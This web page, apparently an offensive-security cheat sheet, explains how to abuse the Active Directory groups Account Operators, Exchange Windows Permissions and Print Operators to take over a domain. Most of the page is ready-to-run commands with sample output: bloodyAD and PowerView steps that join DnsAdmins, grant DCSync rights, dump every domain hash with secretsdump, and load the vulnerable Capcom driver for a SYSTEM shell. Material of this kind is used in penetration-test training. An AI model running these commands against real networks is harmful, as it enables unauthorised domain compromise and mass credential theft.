Skip to content
HackIndex logo

HackIndex

Privileged Group Abuse

4 min read Jun 11, 2026

Several AD groups below Domain Admins grant indirect paths to domain compromise through privilege assignment, ACL rights on the domain object, or the ability to add users to attack-enabling groups. These groups are frequently over-populated in real environments and are high-value lateral movement targets. Check your current group memberships immediately after gaining any elevated account.

Account Operators

Account Operators can create and modify most user and group objects except for protected groups (Administrators, Domain Admins, etc.). The key attack is adding yourself to DnsAdmins, which allows loading a malicious DLL in the DNS server process running as SYSTEM on the DC.

┌──(kali㉿kali)-[~]
└─$ # Confirm Account Operators membership
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $USER --attr memberOf
 
┌──(kali㉿kali)-[~]
└─$ # Add self to DnsAdmins
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember DnsAdmins $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object DnsAdmins --attr member 
distinguishedName: CN=DnsAdmins,CN=Users,DC=corp,DC=local
  member: CN=$USER,CN=Users,DC=corp,DC=local
PS C:\Users\Guest\Desktop> # Check Account Operators membership
PS C:\Users\Guest\Desktop> Get-DomainGroupMember -Identity 'Account Operators' | Where-Object {$_.MemberName -match $USER}
 
PS C:\Users\Guest\Desktop> # Add self to DnsAdmins
PS C:\Users\Guest\Desktop> Add-DomainGroupMember -Identity DnsAdmins -Members $USER
 
PS C:\Users\Guest\Desktop> # Native — no tools
PS C:\Users\Guest\Desktop> net group DnsAdmins $USER /add /domain

After joining DnsAdmins, inject a malicious DLL into the DNS server process. See DNSAdmins Privilege Escalation for the full DLL injection chain.

Account Operators can also reset passwords for non-protected accounts and create machine accounts up to the ms-DS-MachineAccountQuota limit. Creating a machine account lets you set its SPN and use it in RBCD chains or Kerberoasting.

Exchange Windows Permissions

Exchange installs grant this group WriteDACL on the domain object. WriteDACL on the domain lets you grant any account DS-Replication rights, enabling DCSync. This is a direct path from any Exchange Windows Permissions member to full domain compromise.

┌──(kali㉿kali)-[~]
└─$ # Confirm Exchange Windows Permissions membership
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $USER --attr memberOf
 
┌──(kali㉿kali)-[~]
└─$ # Grant DCSync rights to current account (WriteDACL lets you add any ACE)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
 
┌──(kali㉿kali)-[~]
└─$ # DCSync the domain
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc 
[*] Granted DCSync rights successfully
PS C:\Users\Guest\Desktop> # Grant DCSync rights via WriteDACL on domain object
PS C:\Users\Guest\Desktop> $DomainDN = (Get-ADDomain).DistinguishedName
PS C:\Users\Guest\Desktop> $SID = (Get-DomainUser -Identity $USER).objectsid
 
PS C:\Users\Guest\Desktop> Add-DomainObjectAcl -TargetIdentity $DomainDN -PrincipalIdentity $USER -Rights DCSync
 
PS C:\Users\Guest\Desktop> # Verify — should see DS-Replication-Get-Changes entries
PS C:\Users\Guest\Desktop> Get-DomainObjectAcl $DomainDN -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match $USER}

After granting DCSync rights, run DCSync to dump all domain hashes.

Note: Microsoft Exchange security updates (2019+) removed Exchange Windows Permissions from having these rights in newer installs. This path depends on the Exchange version and whether CU updates were applied. Check with BloodyAD get writable whether WriteDACL on the domain object is still present.

Print Operators receive SeLoadDriverPrivilege — they can load and unload kernel drivers. This allows loading a malicious driver to escalate to SYSTEM. Print Operators also have interactive logon rights to domain controllers by default.

PS C:\Users\Guest\Desktop> # Confirm SeLoadDriverPrivilege
PS C:\Users\Guest\Desktop> whoami /priv
 
PS C:\Users\Guest\Desktop> # Enable SeLoadDriverPrivilege (disabled by default even when assigned)
PS C:\Users\Guest\Desktop> # Load EoPLoadDriver to register a driver service
PS C:\Users\Guest\Desktop> .\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
 
PS C:\Users\Guest\Desktop> # Exploit Capcom.sys for arbitrary kernel code execution → SYSTEM shell
PS C:\Users\Guest\Desktop> .\ExploitCapcom.exe
 
PS C:\Users\Guest\Desktop> # Alternative: PrintSpoofer if local SeImpersonatePrivilege also present
PS C:\Users\Guest\Desktop> # On Kali: /usr/share/windows-resources/printspoofer/PrintSpoofer64.exe
PS C:\Users\Guest\Desktop> .\PrintSpoofer64.exe -i -c cmd.exe 
SeLoadDriverPrivilege     SeLoadDriverPrivilege     Enabled
[+] SeLoadDriverPrivilege enabled
[+] Driver loaded successfully
[+] Spawning SYSTEM shell
┌──(kali㉿kali)-[~]
└─$ # Print Operators have interactive logon rights to DCs
┌──(kali㉿kali)-[~]
└─$ # If RDP is open on DC:
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /d:$DOMAIN /v:$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Or via evil-winrm if WinRM allowed
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

EoPLoadDriver and Capcom.sys are older techniques — AV and EDR solutions now flag Capcom.sys. Modern alternatives include Printconfig.dll hijacking or abusing SeLoadDriverPrivilege with a signed-but-vulnerable driver. The interactive DC logon path via RDP is simpler when available.

References